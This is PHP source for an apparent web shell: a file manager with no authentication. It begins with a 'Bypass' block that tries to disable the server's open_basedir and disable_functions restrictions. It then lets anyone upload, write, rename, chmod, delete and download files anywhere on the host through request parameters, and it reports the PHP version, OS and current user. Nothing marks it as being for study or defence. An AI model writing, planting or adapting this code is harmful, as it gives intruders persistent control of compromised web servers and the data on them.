// Bypass
if(function_exists('ini_set')) {
@ini_set('open_basedir', NULL);
@ini_set('disable_functions', '');
}

// Functions
function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: []; }

// Get path
$currentPath = $_GET['p'] ?? @getcwd() ?: '.';
$currentPath = rtrim(str_replace(['\\','//'], '/', $currentPath), '/') . '/';
if(!@is_dir($currentPath)) $currentPath = './';

// Actions
$message = '';
if($_SERVER['REQUEST_METHOD'] === 'POST') {
// Upload
if(isset($_FILES['upload'])) {
$destination = $currentPath . basename($_FILES['upload']['name']);
$message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination) ||
writeFile($destination, readFileContent($_FILES['upload']['tmp_name']))
? '✓ Uploaded'
: '✗ Upload failed';
}
// New
if(isset($_POST['new'])) {
$path = $currentPath . $_POST['new'];
if(isset($_POST['type']) && $_POST['type'] === 'dir') {
$message = @mkdir($path) ? '✓ Folder created' :
'✗ Failed';
} else {
$message = writeFile($path, $_POST['content'] ?? '') ? '✓ File created' :
'✗ Failed';
}
}
// Save
if(isset($_POST['save']) && isset($_POST['data'])) {
$message = writeFile($currentPath . $_POST['save'], $_POST['data']) ?
'✓ Saved' :
'✗ Save failed';
}
// Rename
if(isset($_POST['oldname']) && isset($_POST['newname'])) {
$message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ?
'✓ Renamed' :
'✗ Failed';
}
// Chmod
if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
$message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value'])) ?
'✓ Permissions changed' :
'✗ Failed';
}
}

// GET actions
if(isset($_GET['action'])) {
$item = $_GET['item'] ?? '';
$itemPath = $currentPath . $item;

if($_GET['action'] === 'delete') {
if(@is_file($itemPath)) {
$message = @unlink($itemPath) ? '✓ Deleted' :
'✗ Failed';
} elseif(@is_dir($itemPath)) {
$message = @rmdir($itemPath) ? '✓ Deleted' :
'✗ Failed';
}
} elseif($_GET['action'] === 'download' && @is_file($itemPath)) {
@ob_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($itemPath).'"');
@readfile($itemPath);
exit;
}
}

// Scan directory
$items = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = [];
$files = [];
foreach($items as $item) {
@is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);

// System info
$systemInfo = [
'PHP' => @phpversion(),
'OS' => @php_uname('s'),
'User' => @get_current_user()
];
?>